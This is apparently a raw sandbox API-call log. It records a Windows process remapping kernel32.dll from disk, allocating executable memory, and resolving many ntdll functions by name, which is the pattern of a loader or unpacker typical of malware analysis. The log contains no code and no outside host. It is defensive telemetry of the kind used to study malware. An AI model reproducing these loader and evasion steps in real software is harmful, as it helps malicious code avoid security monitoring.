(MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004088000 [0097.825] IdePortDispatch () returned 0x103 [0097.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004090000 [0097.826] IdePortDispatch () returned 0x103 [0097.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004098000 [0097.827] IdePortDispatch () returned 0x103 [0097.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040a0000 [0097.828] IdePortDispatch () returned 0x103 [0097.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040a8000 [0097.829] IdePortDispatch () returned 0x103 [0097.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040b0000 [0097.830] IdePortDispatch () returned 0x103 [0097.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040b8000 [0097.830] IdePortDispatch () returned 0x103 [0097.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880040c0000 [0097.831] IdePortDispatch () returned 0x103 [0097.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9d000 [0097.832] IdePortDispatch () returned 0x103 [0097.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf5000 [0097.833] IdePortDispatch () returned 0x103 [0097.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0097.833] IdePortDispatch () returned 0x103 [0097.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0097.834] IdePortDispatch () returned 0x103 [0097.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0097.835] IdePortDispatch () returned 0x103 [0097.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de7000 [0097.835] IdePortDispatch () returned 0x103 [0097.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0097.838] IdePortDispatch () returned 0x103 [0097.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003428000 [0097.838] IdePortDispatch () returned 0x103 [0097.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003525000 [0097.839] IdePortDispatch () returned 0x103 [0097.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352d000 [0097.839] IdePortDispatch () returned 0x103 [0097.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353a000 [0097.841] IdePortDispatch () returned 0x103 [0097.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003542000 [0097.843] IdePortDispatch () returned 0x103 [0097.843] UnmapViewOfFile (lpBaseAddress=0x1020000) returned 1 [0097.849] CloseHandle (hObject=0x138) returned 1 [0097.849] CloseHandle (hObject=0x134) returned 1 [0097.856] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x1160000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0097.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x76300000 [0097.860] GetModuleFileNameA (in: hModule=0x76300000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\syswow64\\kernel32.dll") returned 0x20 [0097.860] CreateFileA (lpFileName="C:\\Windows\\syswow64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0097.860] CreateFileMappingA (hFile=0x134, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x138 [0097.860] MapViewOfFile (hFileMappingObject=0x138, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1020000 [0097.863] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x10f0000, RegionSize=0x101f5e4*=0x110000) returned 0x0 [0097.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0097.889] IdePortDispatch () returned 0x103 [0097.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0097.889] IdePortDispatch () returned 0x103 [0097.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9a000 [0097.890] IdePortDispatch () returned 0x103 [0097.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca2000 [0097.897] IdePortDispatch () returned 0x103 [0097.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002caa000 [0097.898] IdePortDispatch () returned 0x103 [0097.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb2000 [0097.898] IdePortDispatch () returned 0x103 [0097.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cba000 [0097.899] IdePortDispatch () returned 0x103 [0097.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc2000 [0097.900] IdePortDispatch () returned 0x103 [0097.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cca000 [0097.900] IdePortDispatch () returned 0x103 [0097.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd2000 [0097.903] IdePortDispatch () returned 0x103 [0097.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cda000 [0097.903] IdePortDispatch () returned 0x103 [0097.924] GetModuleHandleA (lpModuleName="API-MS-Win-Core-RtlSupport-L1-1-0.dll") returned 0x77e30000 [0097.924] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnwind") returned 0x77e76d39 [0097.924] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCaptureContext") returned 0x77e76b2b [0097.924] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCaptureStackBackTrace") returned 0x77e94f8f [0097.924] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77e30000 [0097.924] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateEvent") returned 0x77e4ff64 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="NtDuplicateObject") returned 0x77e4fe34 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="RtlConvertSidToUnicodeString") returned 0x77e6aec2 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="NtNotifyChangeKey") returned 0x77e50f60 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRunOnceInitialize") returned 0x77e68456 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="NtResetEvent") returned 0x77e51798 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="RtlValidSecurityDescriptor") returned 0x77e95e16 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="RtlOpenCurrentUser") returned 0x77e8b06f [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="strncat") returned 0x77eac570 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="_strlwr") returned 0x77f04a48 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInstallUILanguage") returned 0x77e51404 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="RtlpConvertCultureNamesToLCIDs") returned 0x77ee9fa8 [0097.925] GetProcAddress (hModule=0x77e30000, lpProcName="RtlpConvertLCIDsToCultureNames") returned 0x77ee9d5e [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventEnabled") returned 0x77e688e2 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetProcessPreferredUILanguages") returned 0x77eeb52a [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlExpandEnvironmentStrings_U") returned 0x77e8c9e7 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeStringToInteger") returned 0x77e8cb1e [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLCIDToCultureName") returned 0x77e7feff [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIdnToUnicode") returned 0x77ef6e59 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIdnToNameprepUnicode") returned 0x77ef6e35 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIdnToAscii") returned 0x77ea0bd5 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIsNormalizedString") returned 0x77ef8a72 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlNormalizeString") returned 0x77e95743 [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIntegerToUnicodeString") returned 0x77e68aad [0097.926] GetProcAddress (hModule=0x77e30000, lpProcName="_ui64tow") returned 0x77e9dda7 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="_wtol") returned 0x77ea8706 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="_wcslwr") returned 0x77f04b6b [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnhandledExceptionFilter") returned 0x77ef8dd3 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="NtTerminateProcess") returned 0x77e4fca0 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="wcsncpy") returned 0x77f05755 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="wcsncmp") returned 0x77e67f75 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReadThreadProfilingData") returned 0x77ecf099 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryThreadProfiling") returned 0x77ecf07a [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDisableThreadProfiling") returned 0x77ecf030 [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEnableThreadProfiling") returned 0x77ecef5f [0097.927] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetExtendedFeaturesMask") returned 0x77ef1482 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetExtendedFeaturesMask") returned 0x77ef189d [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLocateExtendedFeature") returned 0x77ef1916 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCopyContext") returned 0x77ef15e6 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetEnabledExtendedFeatures") returned 0x77ef4c27 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetExtendedContextLength") returned 0x77ef1816 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeExtendedContext") returned 0x77ef1728 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLocateLegacyContext") returned 0x77ef1412 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="NtRaiseException") returned 0x77e515dc [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventWriteNoRegistration") returned 0x77ea2220 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRegisterWait") returned 0x77ea0852 [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetIoCompletionCallback") returned 0x77ea8a7e [0097.928] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueueWorkItem") returned 0x77e980a6 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeregisterWait") returned 0x77f10663 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenEvent") returned 0x77e4fe98 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtResetWriteWatch") returned 0x77e517b4 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtGetWriteWatch") returned 0x77e50d00 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtMapUserPhysicalPagesScatter") returned 0x77e4f890 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtMapUserPhysicalPages") returned 0x77e50efc [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtFreeUserPhysicalPages") returned 0x77e50bd8 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtAllocateUserPhysicalPages") returned 0x77e50344 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtUnlockVirtualMemory") returned 0x77e51ec0 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="NtLockVirtualMemory") returned 0x77e50e94 [0097.929] GetProcAddress (hModule=0x77e30000, lpProcName="RtlOemStringToUnicodeString") returned 0x77e9b955 [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetEnvironmentStrings") returned 0x77ef1e9a [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlComputeImportTableHash") returned 0x77edc90d [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="bsearch") returned 0x77e5ebdc [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEncodeSystemPointer") returned 0x77e6e058 [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFindCharInUnicodeString") returned 0x77e5fb37 [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlNtPathNameToDosPathName") returned 0x77e7eb6b [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="NtApphelpCacheControl") returned 0x77e4ffc4 [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRandom") returned 0x77ef98c3 [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFindActivationContextSectionGuid") returned 0x77e93ecb [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFindActivationContextSectionString") returned 0x77e5ec78 [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDoesFileExists_U") returned 0x77e87ecd [0097.930] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateActivationContext") returned 0x77e88aff [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="DbgPrintEx") returned 0x77ea5af3 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageNtHeaderEx") returned 0x77e5f495 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetThreadPreferredUILanguages") returned 0x77e7d6b7 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryActivationContextApplicationSettings") returned 0x77e83a09 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetThreadPreferredUILanguages") returned 0x77e7f97c [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryInformationActivationContext") returned 0x77e6b988 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlMultiAppendUnicodeStringBuffer") returned 0x77e8a858 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlpEnsureBufferSize") returned 0x77e92aed [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetLengthWithoutLastFullDosOrNtPathElement") returned 0x77e88910 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlpApplyLengthFunction") returned 0x77e8889d [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetActiveActivationContext") returned 0x77e6bd84 [0097.931] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeactivateActivationContext") returned 0x77e94ae8 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="RtlActivateActivationContext") returned 0x77e94c86 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="RtlZombifyActivationContext") returned 0x77edc027 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReleaseActivationContext") returned 0x77e6bb43 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAddRefActivationContext") returned 0x77e5f622 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationJobObject") returned 0x77e51a30 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateJobSet") returned 0x77e5072c [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationJobObject") returned 0x77e51374 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtTerminateJobObject") returned 0x77e51d94 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtAssignProcessToJobObject") returned 0x77e5058c [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenJobObject") returned 0x77e50ff0 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateJobObject") returned 0x77e50714 [0097.932] GetProcAddress (hModule=0x77e30000, lpProcName="tolower") returned 0x77f0559f [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="isdigit") returned 0x77e7c3d5 [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="toupper") returned 0x77e78bf5 [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetCurrentDirectory_U") returned 0x77e9103d [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCopyLuid") returned 0x77ee2297 [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeOemString") returned 0x77ececca [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateEnvironment") returned 0x77ef1dfe [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateEnvironmentEx") returned 0x77e7d3a3 [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDestroyEnvironment") returned 0x77e7ed9a [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryEvent") returned 0x77e500bc [0097.933] GetProcAddress (hModule=0x77e30000, lpProcName="CsrClientCallServer") returned 0x77edcaff [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="CsrAllocateCaptureBuffer") returned 0x77edcb0f [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="CsrAllocateMessagePointer") returned 0x77edcb2f [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="CsrFreeCaptureBuffer") returned 0x77edcb1f [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeviceIoControlFile") returned 0x77e4f8fc [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateQueryDebugBuffer") returned 0x77ea2745 [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryProcessDebugInformation") returned 0x77ea348c [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDestroyQueryDebugBuffer") returned 0x77ea3380 [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="NtMapViewOfSection") returned 0x77e4fc40 [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="NtUnmapViewOfSection") returned 0x77e4fc70 [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeUserStack") returned 0x77e9e710 [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="RtlProcessFlsData") returned 0x77e699a7 [0097.934] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateActivationContextStack") returned 0x77e69f73 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeActivationContextStack") returned 0x77e8d484 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateUserStack") returned 0x77ea0f4f [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="TpCaptureCaller") returned 0x77e7248d [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="NtSuspendThread") returned 0x77e51d60 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetContextThread") returned 0x77e51910 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="NtGetContextThread") returned 0x77e50c20 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateAndInitializeSid") returned 0x77e693e2 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeSid") returned 0x77e693b2 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="NtSignalAndWaitForSingleObject") returned 0x77e51cd8 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRunOnceComplete") returned 0x77e6bfe5 [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRunOnceBeginInitialize") returned 0x77e67e1b [0097.935] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRunOnceExecuteOnce") returned 0x77e67de3 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSleepConditionVariableSRW") returned 0x77ed8028 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSleepConditionVariableCS") returned 0x77ed7f2b [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenPrivateNamespace") returned 0x77e51098 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreatePrivateNamespace") returned 0x77e507ec [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeletePrivateNamespace") returned 0x77e50a1c [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeSRWLock") returned 0x77e68456 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAddIntegrityLabelToBoundaryDescriptor") returned 0x77ee53cf [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAddSIDToBoundaryDescriptor") returned 0x77e9ae93 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateBoundaryDescriptor") returned 0x77e986f1 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAcquireSRWLockShared") returned 0x77e62560 [0097.936] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReleaseSRWLockShared") returned 0x77e625a9 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="NtProtectVirtualMemory") returned 0x77e50028 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="strcpy_s") returned 0x77e959cd [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="NtReplacePartitionUnit") returned 0x77e51750 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCompareUnicodeString") returned 0x77e684b7 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRaiseStatus") returned 0x77e76ea5 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationToken") returned 0x77e4fb98 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeSid") returned 0x77e70f5a [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSubAuthoritySid") returned 0x77e70f42 [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="LdrLoadDll") returned 0x77e6c43a [0097.937] GetProcAddress (hModule=0x77e30000, lpProcName="LdrGetProcedureAddress") returned 0x77e601aa [0098.140] GetProcAddress (hModule=0x77e30000, lpProcName="LdrUnloadDll") returned 0x77e711d7 [0098.140] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryRegistryValues") returned 0x77ea4b60 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySystemInformationEx") returned 0x77e51590 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDecodeSystemPointer") returned 0x77e6ad98 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="RtlWow64LogMessageInEventLogger") returned 0x77ede4a3 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="RtlxAnsiStringToUnicodeSize") returned 0x77ee6262 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtIsSystemResumeAutomatic") returned 0x77e50d98 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtGetDevicePowerState") returned 0x77e50c54 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetThreadExecutionState") returned 0x77e51c20 [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtInitiatePowerAction") returned 0x77e50d7c [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtPowerInformation") returned 0x77e5019c [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetVolumeInformationFile") returned 0x77e51c8c [0098.141] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryEnvironmentVariable_U") returned 0x77e69953 [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetFullPathName_U") returned 0x77e8b3e9 [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIsNameLegalDOS8Dot3") returned 0x77ef45da [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetCurrentProcessorNumberEx") returned 0x77e62a31 [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="_allshl") returned 0x77e63140 [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenThreadToken") returned 0x77e4fbe0 [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationThread") returned 0x77e4f99c [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="LdrLoadAlternateResourceModuleEx") returned 0x77e7399a [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="LdrLoadAlternateResourceModule") returned 0x77ea6595 [0098.142] 